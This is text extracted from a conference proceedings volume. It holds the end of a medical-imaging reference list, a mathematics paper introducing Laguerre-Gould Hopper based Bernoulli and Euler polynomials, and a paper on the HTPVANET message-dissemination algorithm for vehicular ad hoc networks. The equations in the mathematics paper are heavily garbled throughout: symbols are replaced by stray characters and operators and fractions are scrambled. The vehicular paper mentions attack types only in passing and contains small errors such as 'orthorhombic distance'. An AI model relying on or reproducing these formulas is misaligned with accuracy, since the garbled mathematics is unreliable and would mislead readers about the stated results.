22. Sharma, V., Singh, S.: CFS–SMO based classification of breast density using multiple texture
models. Med. Biol. Eng. Comput. 52, 521–529 (2014)
23. Li, H., Giger, M.L., Huo, Z., Olopade, O.I., Lan, L., Weber, B.L., Bonta, I.: Computerized
analysis of mammographic parenchymal patterns for assessing breast cancer risk: effect of ROI
size and location. Med. Phys. 31, 549–555 (2004)
24. Suckling, J., Parker, J., Dance, D.R., Astley, S., Hutt, I., Boggis, C.R.M., Ricketts, I.,
Stamatakis, E., Cerneaz, N., Kok, S.L., Taylor, P., Betal, D., Savage, J.: The mammographic
image analysis society digital mammogram database. In: Gale, E.G. (ed.) Digital
Mammography 1994. LNCS, vol. 1069, pp. 375–378. Springer, Heidelberg (1994)
25. Doi, K.: Computer aided diagnosis in medical imaging: historical review, current status, and
future potential. Comput. Medical Imaging Graphics. 31, 198–211 (2007)
26. Virmani, J., Kumar, V., Kalra, N., Khandelwal, N.: Neural network ensemble based CAD
system for focal liver lesions from B-mode ultrasound. J. Digit. Imaging 27, 520–537 (2014)
27. Li, X., Tian, Z.: Wavelet energy signature: comparison and analysis. In: King, I., Wang, J.,
Chan, L.W., Wang, D.L. (eds.) Neural Information Processing 2006, Part II. LNCS, vol. 4233,
pp. 474–480. Springer, Heidelberg (2006)
28. Virmani, J., Kumar, V., Kalra, N., Khandelwal, N.: Prediction of liver cirrhosis based on multi
resolution texture descriptors from B-mode ultrasound. Int. J. Converg. Comput. 1, 19–37
(2013)
29. Chang, C.C., Lin, C.J.: LIBSVM, A Library of Support Vector Machines (2012)
30. Virmani, J., Kumar, V., Kalra, N., Khandelwal, N.: Characterization of primary and secondary
malignant liver lesions from B-mode ultrasound. J. Digit. Imaging 26, 1058–1070 (2013)
31. Virmani, J., Kumar, V., Kalra, N., Khandelwal, N.: SVM-based characterization of liver
ultrasound images using wavelet packet texture descriptors. J. Digit. Imaging 26, 530–543
(2012)
32. Virmani, J., Kumar, V., Kalra, N., Khandelwal, N.: A comparative study of computer-aided
classification systems for focal hepatic lesions from B-mode ultrasound. J. Med. Eng. Technol.
37, 292–306 (2013)
On New Families Related to Bernoulli
and Euler Polynomials
Subuhi Khan and Mahvish Ali
Abstract In this article, the Laguerre-Gould Hopper based Bernoulli and Euler
polynomials are introduced using operational methods. These polynomials are
framed within the context of monomiality principle and their important properties
are established. The operational rules and differential equations for these polyno-
mials are also derived.
Keywords Bernoulli polynomials Euler polynomials Operational techniques
1 Introduction
The class of Appell sequences [2] contains a large number of classical polynomial
sequences such as the Bernoulli, Euler, Hermite and Laguerre polynomials [1, 10]
etc. The Bernoulli and Euler polynomials play an important role in various
expansions and approximation formulae, which are useful both in analytic theory of
numbers and in classical and numerical analysis. These polynomials appear in
various problems in the fields of engineering and physics providing their solutions.
The Bernoulli polynomials Bn ðxÞ are defined by the following generating
function ([10], p. 36):
text X
1
tn
¼ Bn ðxÞ ; jtj\2p ð1Þ
et 1 n¼0 n!
S. Khan (&) M. Ali

Department of Mathematics, Aligarh Muslim University, Aligarh, India
e-mail: subuhi2006@gmail.com
M. Ali
e-mail: mahvishali37@gmail.com

548 S. Khan and M. Ali
and the series definition of Bn ðxÞ is given as ([10], p. 36):

n
X n
Bn ðxÞ ¼ Bk xnk ; ð2Þ
k¼0
k
where Bk :¼ Bk ð0Þ is the kth Bernoulli number.

The Euler polynomials En ðxÞ are defined by the following generating function
([10], p. 36)
2ext X
1
tn
¼ En ðxÞ ; jtj\p ð3Þ
etþ 1 n¼0 n!
and the series definition of En ðxÞ is given as ([10], p. 41):
Xn
n Ek 1 nk
En ðxÞ ¼ x ; ð4Þ
k¼0
k 2k 2

where Ek :¼ 2k Ek 12 is the kth Euler number.
Next, we recall that according to the monomiality principle [4, 13], a polynomial
set fpn ðxÞgn2N is quasi-monomial, provided there exist two operators M ^ and P
^
playing, respectively, the role of multiplicative and derivative operators for the
family of polynomials. These operators satisfy the following identities, for all
n 2 N:
^ fpn ðxÞg ¼ pnþ1 ðxÞ

M ð5Þ
and
^ fpn ðxÞg ¼ npn1 ðxÞ:

P ð6Þ
^ and P
The operators M ^ also satisfy the commutation relation
^ M
½P; ^ ¼P
^M^ M
^P^ ¼ ^1 ð7Þ
and thus display the Weyl group structure.

^ and P
If M ^ have differential realizations, then in view of monomiality principle
[4] and combining Eqs. (5) and (6), we get the following differential equation
satisfied by pn ðxÞ:
^ Pfp
M ^ n ðxÞg ¼ npn ðxÞ: ð8Þ
On New Families Related to Bernoulli and Euler Polynomials 549
Assuming here and in the sequel p0 ðxÞ ¼ 1, then the series definition for pn ðxÞ
can be obtained as:
^ n f1g:
pn ðxÞ ¼ M ð9Þ
Also, identity (9) implies that the exponential generating function of pn ðxÞ can be
given in the form:
X
1
tn
^
expðtMÞf1g ¼ pn ðxÞ ; jtj\1: ð10Þ
n¼0
n!
Recently, Khan and Al-Gonah [12] introduced and studied the Laguerre-Gould
ðm;rÞ
Hopper polynomials (LGHP) L Hn ðx; y; zÞ by combining the operational methods
with monomiality principle. The LGHP are defined by the generating function
X
1
t n
C0 ðxtm Þeðytþzt Þ ¼ ðm;rÞ
r
L Hn ðx; y; zÞ ; ð11Þ
n¼0
n!
where C0 ðxÞ denotes the Tricomi function of order zero [1].

The 0th-order Tricomi function C0 ðxÞ has the following operational definition:
C0 ðaxÞ ¼ expðaD1
x Þf1g: ð12Þ
ðm;rÞ
The LGHP L Hn ðx; y; zÞ are shown to be quasi-monomial under the action of
the following multiplicative and derivative operators [12]:
^ LH :¼ y þ mD1 @ m1 @ r1

M þ rz ð13Þ
x
@ym1 @yr1
and
^ LH :¼ @ ;
P ð14Þ
@y
respectively.
These polynomials satisfy the following differential equation [12]:

@m @ rþ1 @2 @ ðm;rÞ
m m þ rz þ y n L Hn ðx; y; zÞ ¼ 0: ð15Þ
@y @x@y r @x@y @x
In this article, the Laguerre-Gould Hopper based Bernoulli and Euler polyno-
mials are introduced. These polynomials are framed within the context of
monomiality principle and their properties are established.
2 Laguerre-Gould Hopper Based Bernoulli

and Euler Polynomials
In order to derive the generating function for the Laguerre-Gould Hopper based
Bernoulli polynomials (LGHBP) denoted by L H ðm;rÞ Bn ðx; y; zÞ, we prove the fol-
lowing result:
Theorem 1 The LGHBP LH
ðm;rÞ Bn ðx; y; zÞ are defined by the following generating
function:
t X1
tn
ðm;rÞ
C0 ðxtm Þ expðyt þ ztr Þ ¼ LH Bn ðx; y; zÞ : ð16Þ
et 1 n¼0
n!
Proof Replacing x in the l.h.s. and r.h.s. of Eq. (1) by the multiplicative operator
^ LH of the LGHP L Hnðm;rÞ ðx; y; zÞ, we have
M
t X1 n
expð ^ LH tÞ ¼
M ^ LH Þ t :
Bn ðM ð17Þ
e 1
t
n¼0
n!
Using the expression of M ^ LH given in Eq. (13) and then decoupling the expo-
nential operator in the l.h.s. of the resultant equation by using the Crofton-type
identity [6]
m
d m1 d
f y þ mk m1 f1g ¼ exp k m ff ðyÞg; ð18Þ
dy dy
we find
r
t @ 1 @
m1
exp z r exp y þ mDx t
et 1 @y @ym1
X
1
@ m1 @ r1 tn
¼ Bn y þ mD1 þ rz ;
n¼0
x
@ym1 @yr1 n!
which on further use of identity (18) becomes

r
t @ 1 @
m1
exp z r exp Dx expðytÞ
et 1 @y @ym1
X
1
@ m1 @ r1 tn
¼ Bn y þ mD1 þ rz r1 : ð19Þ
n¼0
x
@ym1 @y n!
Now, expanding the second exponential in the l.h.s. of Eq. (19) and using
definition (12), we find
r X1
t @ 1 @
m1
@ r1 tn
C0 ðxt Þ exp z r expðytÞ ¼
m
Bn y þ mDx þ rz r1 :
et 1 @y n¼0
@ym1 @y n!
ð20Þ
Expanding the first exponential in the l.h.s. of Eq. (20) and denoting the resultant
LGHBP in the r.h.s. by L H ðm;rÞ Bn ðx; y; zÞ, that is

^ LH Þ ¼ Bn y þ mD1 @ m1 @ r1
H ðm;rÞ Bn ðx; y; zÞ ¼ Bn ðM þ rz ; ð21Þ
L x
@ym1 @yr1
we get assertion (16).

In order to frame the LGHBP L H ðm;rÞ Bn ðx; y; zÞ within the context of monomiality
principle, we prove the following result: h
Theorem 2 The LGHBP L H ðm;rÞ Bn ðx; y; zÞ are quasi-monomial under the action of
the following multiplicative and derivative operators:
Dy
1 @ @ r1 e ð1 Dy Þ 1
m1
^
MLHB ¼ y þ mDx þ rz r1 þ ð22Þ
@ym1 @y Dy ðeDy 1Þ
and
^ LHB ¼ Dy ;
P ð23Þ
respectively.
Proof Consider the identity:
Dy fexpðyt þ ztr Þg ¼ t expðyt þ ztr Þ: ð24Þ
Differentiating Eq. (17) partially with respect to t and in view of relation (21), we find
t X1
M^ LH þ e ð1 tÞ 1 t
expð ^ LH tÞ ¼
M LH
ðm;rÞ tn
Bnþ1 ðx; y; zÞ ;
tðe 1Þ
t e 1
t
n¼0
n!
which in view of Eqs. (10), (17), (21) and using identity (24) gives:
Dy X 1
^ e ð1 Dy Þ 1 ðm;rÞ tn
MLH þ L H Bn ðx; y; zÞ
Dy ðeDy 1Þ n¼0
n!
X1
t n
ðm;rÞ
¼ LH Bnþ1 ðx; y; zÞ : ð25Þ
n¼0
n!
Equating the coefficients of like powers of t in Eq. (25) and in view of Eq. (5),
we find that the multiplicative operator for L H ðm;rÞ Bn ðx; y; zÞ is given as:
Dy
^ ^ e ð1 Dy Þ 1
MLHB ¼ MLH þ :
Dy ðeDy 1Þ
Finally, using Eq. (13) in the r.h.s. of above equation, we get assertion (22).
In view of identity (24), we have
n t o t2
Dy C 0 ðxt m
Þ expðyt þ zt r
Þ ¼ C0 ðxtm Þ expðyt þ ztr Þ
et 1 et 1
which on using Eq. (17) becomes

( )
X1
t n X1
tn
ðm;rÞ ðm;rÞ
Dy LH Bn ðx; y; zÞ ¼ LH Bn1 ðx; y; zÞ :
n¼0
n! n¼1
ðn 1Þ!
Equating the coefficients of like powers of t in the above equation, we get
Dy fL H ðm;rÞ Bn ðx; y; zÞg ¼ nL H ðm;rÞ Bn1 ðx; y; zÞ; n 1 ð26Þ
which in view of Eq. (6) yields assertion (23).

We know that the properties of a quasi-monomial can be derived by using the
expressions of the multiplicative and derivative operators. To derive the differential
equation for the LGHBP L H ðm;rÞ Bn ðx; y; zÞ, we prove the following result: h
Theorem 3 The The LGHBP LH
ðm;rÞ Bn ðx; y; zÞ satisfy the following differential
equation:
Dy
@ m1 @ r1 e ð1 Dy Þ 1
yþ mD1 þ rz r1 þ Dy n L H ðm;rÞ Bn ðx; y; zÞ ¼ 0:
x
@ym1 @y Dy ðeDy 1Þ
ð27Þ
Proof Using expressions (22) and (23) in Eq. (8), we get assertion (27).
Further, to establish the operational representation connecting the LGHBP
LH
ðm;rÞ Bn ðx; y; zÞ with the Bernoulli polynomials Bn ðxÞ, we prove the following
result: h
Theorem 4 The following operational representation connecting the LGHBP
ðm;rÞ Bn ðx; y; zÞ with the Bernoulli polynomials Bn ðxÞ holds true:
LH
Bn ðx; y; zÞ ¼ eðDx rÞ
1 @ m @r
þ z@y
LH
ðm;rÞ @ym fBn ðyÞg ð28Þ
Proof In view of Eq. (21), the proof is the direct use of identity (18).
Similarly, proceeding on the same lines as above, we can obtain the following
results for Laguerre-Gould Hopper based Euler polynomials (LGHEP)
ðm;rÞ En ðx; y; zÞ. h
LH
Theorem 5 The LGHEP LH

ðm;rÞ En ðx; y; zÞ are defined by the following generating
function:
2 X1
tn
Co ðxt m
Þ expðyt þ zt r
Þ ¼ ðm;rÞ En ðx; y; zÞ : ð29Þ
et þ 1 n¼0
L H
n!
Theorem 6 The LGHEP L H ðm;rÞ En ðx; y; zÞ are quasi-monomial under the action of
the following multiplicative and derivative operators:
^ LHE ¼ y þ mD1 @ m1 @ r1 eDy

M þ rz ð30Þ
x
@ym1 @yr1 eDy þ 1
and
^ LHE ¼ Dy ;
P ð31Þ
respectively.
Theorem 7 The LGHEP L H ðm;rÞ En ðx; y; zÞ satisfy the following differential equation:
Dy
1 @ @ r1
m1
e
y þ mDx þ rz r1 Dy Dy n L H ðm;rÞ En ðx; y; zÞ ¼ 0: ð32Þ
@ym1 @y e þ1
Theorem 8 The following operational representation connecting the LGHEP

ðm;rÞ En ðx; y; zÞ with the Euler polynomials En ðxÞ holds true:
LH
En ðx; y; zÞ ¼ eðDx rÞ
1 @ m @r
þ z@y
LH
ðm;rÞ @ym fEn ðyÞg: ð33Þ
Acknowledgments The authors are thankful to the reviewer for useful suggestions towards the
improvement of paper.
Appendix
It is important to note that several special polynomials follow as particular cases of

ðm;rÞ
the LGHP L Hn ðx; y; zÞ:
554
Table 1 List of special cases of the LGHP L Hnðm;rÞ ðx; y; zÞ

S. Values of the indices and variables Relation between the LGHP Name of the known Generating functions of the known
No. ðm;rÞ polynomials polynomials
L Hn ðx; y; zÞ and its special case
ð1;2Þ
P tn
I. m ¼ 1; r ¼ 2; x ! x L Hn ðx; y; zÞ ¼L Hn ðx; y; zÞ 3-variable C0 ðxtÞ expðyt þ zt2 Þ ¼ 1
n¼0 L Hn ðx; y; zÞ n!
Laguerre-Hermite [9]
P1 n
II. x¼0 ðm;rÞ Gould-Hopper [11] t
L Hn ð0; y; zÞ ¼ HnðrÞ ðy; zÞ expðyt þ ztr Þ ¼ n¼0 HnðrÞ ðy; zÞ n!
P1 n
III. m ¼ 1; x ! x; z ¼ 0 ð1;rÞ 2-variable Laguerre t
L Hn ðx; y; 0Þ ¼ Ln ðx; yÞ C0 ðxtÞ expðytÞ ¼ n¼0 Ln ðx; yÞ n!
[8]
IV. 2-variable Legendre P1 Rn ðx;yÞ tn
m ¼ 1; x ! y; y ! D1
x ; z¼0 n!L Hnð1;rÞ ðy; D1
x ; 0Þ ¼ Rn ðx; yÞ C0 ðxtÞC0 ðytÞ ¼ n¼0 n! n!
[7]
ðm;rÞ 1
P1 ðrÞ tn
V x ¼ 0; y ! x; z ! yDy y L Hn ð0; x; yDy yÞ ¼ eðrÞ
n ðx; yÞ
2-variable truncated ð1ytr Þ expðxtÞ ¼ n¼0 en ðx; yÞ n!
of order s [5]
P1 n
VI. r ¼ 2; x ¼ 0 ðm;2Þ 2-variable t
L Hn ð0; y; zÞ ¼ Hn ðy; zÞ expðyt þ zt2 Þ ¼ n¼0 Hn ðy; zÞ n!
Hermite-Kampé de
Fériet [3]
S. Khan and M. Ali
We mention few of these polynomials in the following Table 1:

We remark that by selecting suitable values of the indices and variables (as in
Table 1), we can introduce other new families of special polynomials. The results
for these families are obtained by making use of the corresponding results derived
in Sect. 2.
References
1. Andrews, L.C.: Special functions for Engineers and Applied Mathematicians. Macmillan
Publishing Company, New York (1985)
2. Appell, P.: Sur une classe de polynômes. Ann. Sci. Ecole. Norm. 9(2), 119–144 (1880)
3. Appell, P., Kampé de Fériet, J.: Functions hypergéométriques et hypersphériques: Polynômes
d’ Hermite. Gauthier-Villars, Paris (1926)
4. Dattoli, G.: Hermite-Bessel and Laguerre-Bessel Functions.: A by-product of the monomiality
principle. Advanced special functions and applications (Melfi, 1999). In: Proceedings of the
Melfi School on Advanced Topics in Mathematics and Physics, vol. 1, pp. 147–164. Aracne,
Rome (2000)
5. Dattoli, G., Cesarano, C., Sacchetti, D.: A note on truncated polynomials. Appl. Math.
Comput. 134, 595–605 (2003)
6. Dattoli, G., Ottaviani , P.L., Torre, A., Vázquez, L.: Evolution operator equations: integration
with algebraic and finite-difference methods. Applications to physical problems in classical
and quantum mechanics and quantum field theory. Riv. Nuovo Cimento Soc. Ital. Fis. 20(2),
1–133 (1997)
7. Dattoli, G., Ricci, P.E.: A note on Legendre polynomials. Int. J. Nonlinear Sci. Numer. Simul.
2, 365–370 (2001)
8. Dattoli, G., Torre, A.: Operational methods and two variable Laguerre polynomials. Atti.
Accad. Sci. Torino Cl. Sci. Fis. Mat. Nat. 132, 3–9 (1998)
9. Dattoli, G., Torre, A., Lorenzutta, S., Cesarano, C.: Generalized polynomials and operational
identities. Atti. Accad. Sci. Torino Cl. Sci. Fis. Mat. Nat. 134, 231–249 (2000)
10. Erdélyi, A., Magnus, W., Oberhettinger, F., Tricomi, F.G.: Higher Transcendental Functions,
vol. I. McGraw-Hill, New York (1953)
11. Gould, H.W., Hopper, A.T.: Operational formulas connected with two generalizations of
Hermite polynomials. Duke. Math. J. 29, 51–63 (1962)
12. Khan, S., Al-Gonah, A.A..: Operational methods and Laguerre-Gould Hopper polynomials.
AppL. Math. Comput. 218, 9930–9942 (2012)
13. Steffensen, J.F.: The poweroid, an extension of the mathematical notion of power. Acta. Math.
73, 333–366 (1941)
Vehicular Ad Hoc Networks: Trimming
Pile-Ups in Data Dissemination
Using HTPVANET Algorithm
R.V.S. Lalitha and G. Jaya Suma
Abstract The extensive growth of traffic on highways and junctions hampers the
safe and effective movement of traffic. The ascending car accident rate has led to
research on deriving optimal solution to streamline the traffic and to take alternate
measures to reduce accidents. The promise of intelligent traffic system and early
warning system enables effective monitoring of road mishaps. VANET is a subset
of MANET. VANET is a self-organizing network in which each vehicle is repre-
sented as a mobile node to form MANET. Communication can take place between
V2V, V2I, and I2V. Due to heavy traffic on roads, road accidents are increasing day
by day. We aim to find a solution that targets on reduction of factors like redun-
dancy, latency by refining message passing mechanism between vehicle-to-vehicle
(V2V), and vehicle-to-infrastructure (V2I) when an accident takes place. In this
paper, the suggestive measures for reducing redundancy and latency are discussed.
Keywords VANET MANET V2V V2I V2V Data dissemination models
1 Introduction
VANET is an emerging trend in wireless communication. VANET is a subset of

MANET, where vehicles are mobile nodes. In VANET, vehicles can move in a
predictable manner. MANETs focus on continuously varying networks with mobile
R.V.S. Lalitha (&)

Sri Sai Aditya Institute of Science and Technology, Surampalem, India
e-mail: rvslalitha@gmail.com
G. Jaya Suma
University College of Engineering, JNTUK, Viziayanagaram, India
e-mail: gjscse@gmail.com

558 R.V.S. Lalitha and G. Jaya Suma
Fig. 1 MANET
Fig. 2 VANET
devices. VANET aims at variations caused due to vehicular traffic. In MANETs,

mobile devices are connected using wireless links. Each device is free to move in
any direction. MANETs are a kind of wireless ad hoc networks. All the MANETs
need not necessarily be mesh networks. Figure 1 is an example scenario of MANET
and Fig. 2 is an example scenario of VANET.
Using VANETs, communication can be established between vehicles and
roadside infrastructure by installing communications devices like read sensor, write
sensor, and GPS receiver to sense information from the surroundings. VANET
Fig. 2 shows the ability to establish communication between two vehicles. These
cars possess built-in equipment like sensors, GPS receivers which are required for
communication. This facilitates passengers to establish communication between
nearby vehicles and the infrastructure surrounded. As the traffic rate has grown
abruptly, it is necessary to enhance safety measures in vehicles. Messaging between
vehicles is one of the modern vehicle features.
Vehicular Ad Hoc Networks: Trimming Pile-Ups … 559
2 Related Work
Hanan Saleet in his paper “Region-Based Location-Service-Management Protocol

for VANETs” [1] discussed mobility model of VANET nodes. VANET nodes are
clustered using location information. Cell lader (CL) is used to aggregate all the
location information of the nodes.
Dias discussed vehicular delay tolerant networks [2] that communicates freely
with fixed and mobile nodes. VDTN architecture is based on two-layer control
plane and data plane that takes care of both data and signaling. Control planes are
active for node discovery and data planes are active only during communication.
Ghassan Samara discussed various possible attacks in vehicular ad hoc networks
[3]. The denial of service attacks occurs when jammers are placed in communi-
cation channels. Message suppression attack occurs by some packets and reusing
them in some other time. Fabrication attack happens if attacker injects false
information into the network in some other name. Alteration attack occurs when the
attacker alters some part of data. The solution analysis contains the introduction of
several anonymous keys that can be used only once.
3 Proposed Algorithm
Mobile nodes have a tendency that whatever the information is available will be
disseminated to neighboring nodes. This causes heavy traffic flow due to redun-
dancy. To minimize redundancy, necessary measures have to be taken while adding
nodes to network at the preliminary level itself that enables reliable communication.
The proposed algorithm handles issues related to active/passive node transmission,
cluster head communication for fast transmission, detection of link failures, and
reversing the path to overcome overheads in weak signal transmission, prioritizing
based on significance of messages that helps drivers for finding a smooth way for
clearing the traffic. The proposed algorithm is named HTPVANET, as it combines
the principles of hierarchical clustering, temporarily ordered routing protocol and
prioritizing the messages based on their significance. This is given as below:
The various stages involved in network formation are shown in Fig. 3.
3.1 VANET Formation
Consider five nodes A, B, C, D, and E. Formation of network involves adding

nodes (Fig. 4) in the network. We add elements in queue using linked list with A
and E in one lane and nodes B, C, and D in another lane.
3.2 Testing Whether a Node is Active or Not
Data dissemination involves message passing techniques from one node to another.
Messaging is required only for vehicles that are passing over the junctions and not
for the others. Vehicles that are nearer to the junction are active nodes and vehicles
that are away from the junction are passive nodes. Only active nodes [4] can
participate in communication. All active nodes are connected in peer-to-peer net-
work [5]. To check whether a node is active or not, we have to compute the distance
between the nodes. Based on the distance computed, messages are allowed to
transmit or receive. The distance between two nodes is computed using GPS.
A GPS system is formed from a network of satellites that transmit continuous coded
information, which makes it possible to identify locations on earth by measuring
VANET
formation
Care to be taken for
VA- Testing Apply Computing Suppre- Trans-

NET whether Hierar Probabiliti ssing mission
form a node chi- es of redundant of high
atio is active cal receivable messages priority
n or not Cluste messages in FP tree messages
ring and
Optimized
VANET
Fig. 3 Stages of development in VANETs
Fig. 4 VANET topology

creation Queue A
VANET Node A Node E
Base
Station Node B Node C Node D
Queue B
distances from the satellites. Each node is provided with a GPS receiver. The
location information of node is recorded by the GPS receiver. The distance is
measured between the satellite and GPS receiver that is placed in the node. For
computing the distance between the points over the sphere, great-circle distance law
of cosines is used. The great-circle distance or orthorhombic distance is the shortest
distance between any two points on the surface of a sphere measured along a path
on the surface of the sphere.
3.3 Computing Probabilities of Receivable Messages Using

Multinomial Distribution
The computation of probability of receivable messages is required to have an idea

about the guaranteed communication and for traffic analysis. Factors regarding link
failures and poor transmission rate also need to be considered for improving
transmission rate.
Apply multinomial distribution formula to compute probabilities of each node
for message transmission. This results in estimating how many messages can be
received and how many not.
Hence, it is evident that the reception of messages is based on the probabilities of

individual transmission links. With the application of TORA algorithm the links
can be reversed during cases of link failures.
3.4 Reversal of Links Using TORA Algorithm
The major issue in mobile ad hoc networks is about identifying the good or bad
links. Because of bad links the message transmission fails. To overcome this
problem, TORA algorithm uses link reversal algorithms to address the problem of
link failures. In case of link failures, the paths are changed for effective means of
communication. The problem of link failures and readjusting the links is simulated
in NS2. The following snippets of code and results illustrate the scenario.
3.5 Suppressing Redundant Messages

in FP Tree Using Flags
In frequent pattern algorithm, messages are ordered based on their frequency. This
leads to congestion in network, where message transmission is of store and forward.
To address this problem, a flag is introduced to suppress repeated messages. This
has to be implemented in three stages. 1. Delivery of data over the network from
source. 2. Constructing FP tree for knowing number of times the node receives the
message. 3. Suppressing of repeated messages using flags.
Delivery of data over network from source: Source broadcasts data over the
peer-to-peer network. Any time any node (source) broadcasts data. Redundancy
occurs when the same message is received or retransmitted. When a node is
broadcasting data over the network and whenever any information is received by a
node, it retransmits using store and forward mechanism, because all the nodes are
connected using wireless transmission. In wireless networking if a node receives
any message, retransmission of the same packet takes place to all the adjoining
nodes causing redundant information. Second, there will be a delay in transmission
due to overloaded network traffic. The nodes transmit a message at particular
interval of time. Algorithm to broadcast data over the network (refer Fig. 4).
Constructing FP tree to know no. of times the node receives the message: To
obtain information about the redundant messages, it is convenient to construct an
FP-tree for the set of messages transmitted/received at a particular instance. For this
to illustrate, we store a sample set of messages in the form of transaction set and
computing support to find redundant messages [3] (Fig. 5).
/*When the node is repeated, there will be overlapping. To obtain overlapping
information, we construct an FP-tree for generating frequent sets. Store all the
possible paths as transaction in the transaction data set.*/
Algorithm FP-treeConstruct(root, item, count, transaction)

{
/* count – no. times the node receives transmits a message. Initially, count for all
the nodes is set to zero.*/
1. count:=0; Read transaction from the transaction data set.
2. count increments whenever node is visited.
3. Read one transaction at a time and maps it to a path.
4. Each transaction indicates the flow of path from one node to another during
delivery of packets.
5. Reference is given to the node with dotted line, when new path created from the
same node.
6. return
}// end of FP-tree construction
Fig. 5 Normal transmission
The transaction table (Fig. 7) for this scenario is as shown below.

Construction of FP-tree for the test messages: Referring to the network in
Fig. 4, let us trace a scenario that b sends a message d. The possible sequences we
consider for our illustration are B-A-C-D, B-A-E-D, B-C-D, B-C-E-D, B-D, B-E-D,
and B-E-C-D. To trace redundant messages [3] across nodes, we construct a
transaction table corresponding to each path that the test message traversed.
Referring to the FP-tree in Fig. 6, there is redundant information at all nodes.
Though the message is received again and again the nodes follow store and forward
mechanism. To avoid this we refine the FP-tree construct algorithm by introducing
flags.
Suppressing redundant messages by introducing flags: The advantage of
using flag reduces latency and at the same time increases speed of transmission as it
is not required to store the data all the time. The flag acts like a window to block
repeated messages. The number of times the message received is based on the
various possibilities of receiving message (Figs. 7 and 8).
Fig. 6 Reversal of links after link failure
Fig. 7 Transaction table TID Items

1 {B,A,C,D}
2 {B,A,E,D}
3 {B,C,D}
4 {B,C,E,D}
5 {B,D}
6 {B,E,D}
7 {B,E,C,D}
Fig. 8 FP tree Base

Station
B:7
D:1
A:2
C:4
E:4
D:6
Algorithm FP-treeConstructFlag(root, item, count, transaction)

{
// count – no. times the node receives transmits a message. Initially, count and flag
for all the nodes is set to zero. If the message is received, flag is set to 1 else 0.
1. Set count:=0; flag:=0;
Read transaction from the transaction data set.
2. Nodes correspond to vehicles and count increments whenever node is visited.
3. Read one transaction at a time and maps it to a path.
4. Each transaction indicates the flow of path from one node to another during
delivery of packets.
5. Before storing the message, check the flag, if it is 0 and set flag:=1
6. Else forward the message without storing.
5. Reference is given to the node with dotted line, when new path created from the
same node.
6. return
}// end of FP-tree construction
FP-tree for the transaction table Fig. 9 using FP-tree construct flag.
The advantage of using flag reduces latency and at the same time increases speed
of transmission, as it is not required to store the data all the time. The flag acts like a
window to block repeated messages.
Transmission of high priority messages first: As messaging in VANETs is
mainly for the purpose of transmission of messages [5], it is evident that high
priority messages are to be transmitted first. If not, normal messages are transmitted
Fig. 9 FP-tree refined, by Base

introducing flags Station
F:1 F:1
D:1 B:1
F:1
A:1
F:1
C:1
F:1
E:1
F:1
D:1
causing latency for delivery of urgent messages. Message scheduling is based on

the priority and then transmitted. The following output screens illustrates how the
priorities are accepted and outputted based on the priority. These are implemented
in JSP.
Figure 10. represents a screenshot in JSP to accept messages from the users
along with priorities and Fig. 11 represents the message transmission after sorting
the priorities.
The graph drawn in Fig. 12 illustrates the transmission of messages before and
after being prioritized.
Comparisons between the conventional communication and communication
after adopting HTPVANET algorithm in VANETs are shown in Table 1.
List of Messages
Senderid Message Priority
1 Traffic Jam 5
0 Right side 4
Fig. 10 Accepting messages from the users along with the priorities
Base Senderid Sname Receiverid Message Priority

Station id
0 4 Lalitha 5 Wait for a 1
while
0 1 Karunya 4 Go slowly 2
0 0 Divya 1 Accident 3
occurred
0 0 Divya 3 Look right 4
side
0 3 Sravani 1 Hai 5
0 1 Karunya 3 Traffic Jam 5
Fig. 11 Transmission of prioritized messages
Fig. 12 Graph showing Priority based Message Communication

transmission of prioritized in VANETs
messages first
Table 1 Comparisons made using HTPVANET algorithm

Sl. Conventional communication Conventional communication after adopting
No HTPVANET algorithm
1. Messages are not prioritized Messages are prioritized
2. Clustering is done based on the Hierarchical clustering is applied
cell radius
3. No constraint in transmission of Only active nodes can participate in
message, like distance communication
4. Replica of data at nodes is done Replica of data is avoided by introducing flags if
the message is already available
5. If the signal strength is low No measures are taken for signal strength but
messages cannot be transmitted way of transmission is refined
6. Transmission delay will be based Transmission delay is minimized as prioritizing
on signal strength and congestion is done and link failure detection is maintained
7. Throughput average and above Throughput adequately improved
4 Conclusions
This paper presented a novel scenario for VANETs, where intelligent transmission
of messages is required. In this paper, reliability of communication is reinforced by
streamlining the active node communication, cluster head communication, proba-
bilistic communication, reducing redundant messages, and transmission of emer-
gency messages that requires immediate attention. This outperforms the state of art
of VANET applications.
References
1. Saleet, H., et al.: Region-based location-service-management protocol for VANETs. IEEE

Trans. Veh. Technol. 59(2), 917–931 (2010)
2. Dias, et al.: EURASIP Journal on Wireless Communications and Networking, Springer 13
2012
3. Samara, G., et al.: Security analysis of vehicular Ad Hoc networks (VANET), network
applications protocols and services (NETAPPS). In: IEEE 2010 Second International
Conference on 22–23 September 2010, pp. 55–60, E-ISBN: 978-0-7695-4177-8, Print
ISBN: 978-1-4244-8048-7, Kedah. doi:10.1109/NETAPPS.2010.17
4. Hassan, A.: Vanet Simulation. Technical report, IDE0948, May 2009
5. Lal, S.P.: Realistic Mobility Models for Vehicular Ad hoc Network (VANET) Simulations,
VIT, Vellore (2007)
6. Verhein, F.: Frequent Pattern Growth (FP-Growth) Algorithm. School of Information Studies,
The University of Sydney, Australia (2008)
7. Zhang, Y., Zhao, J., Cao, G.: Data Dissemination in Vehicular Ad hoc Networks (VANET),
PENNSTATE, US (2007)
8. Zhong, T., Xu, B., Szczurek, P., Wolfson, O.: Trafficinfo: an Algorithm for VANET
Dissemination Of Realtime Traffic Information. School of Computer Science and Engineering,
University of Electronic Science and Technology of China, China
9. Lalitha, R.V.S., Suma, G.J.: An adaptive approach for RFID based data dissemination in
VANETs through ABC algorithm using android mobiles. In: IEEE Conference record no. #
34470 ICAIET 2014 Fourth International Conference Artificial Intelligence and Applications
in Engineering and Technology, Kota Kinabalu, Saba (Malaysia), Nottingham Trent
University, School of Science and Technology, Clitton Lane, Nottingham, NG11 8NS.
Published in 978-1-4799-7910-3/14 $31.00 ©2014 IEEE. doi:10.1109/ICAIET.2014.56. IEEE
Computer Society of India 3–5 Dec 2014
10. Lalitha, R.V.S., Suma, G.J.: Alleviating the effect of security vulnerabilities in VANETs
through proximity sensors. In: International Conference of Emerging ICT for Bridging
Future CSI Hyderabad Chapter, JNTUH and DRDO, vol. 337, pp. 31–41, ISBN no 978-3-319
Published in Springer AISC, Advances in Intelligent Systems and Computing, 12–14 Dec
2014
11. Lalitha, R.V.S., Suma, G.J.: A contemporary solution to ferret out and obviate the fake
messages in vehicular Ad Hoc networks by not percolating through web server. International
Conference on Advanced Computing Technologies and Applications (ICACTA),
Dwarakadas J.Sanghavi College of Engineering, Mumbai. (Accepted to Publish) PROCS
